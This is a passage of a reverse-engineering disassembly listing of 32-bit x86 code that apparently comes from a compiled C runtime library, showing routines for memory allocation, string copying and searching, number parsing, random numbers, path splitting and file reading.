CODE XREF: sub_4010AB+6p ; sub_40AB32+63p ... arg_0 = dword ptr 4 push dword_4DB9DC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DCFE8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DCFE0 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C9D4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DCFE4 nop call near ptr 27E0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43CBE4, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43CBE4, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A97C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB9A0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 27404D4h push eax nop call near ptr 2730B4Dh loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB99C, edi mov byte_4DB998, bl jnz short loc_41B844 mov eax, dword_4DCFFC test eax, eax jz short loc_41B833 mov ecx, dword_4DCFF8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DCFFC jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB9A0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A960, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A960 imul eax, 343FDh add eax, 269EC3h mov dword_43A960, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C73p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DCEC1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Fp ; sub_401ACD+75AEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43CBE4, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43CBE4, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43CBE4, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C9D8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB958, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax 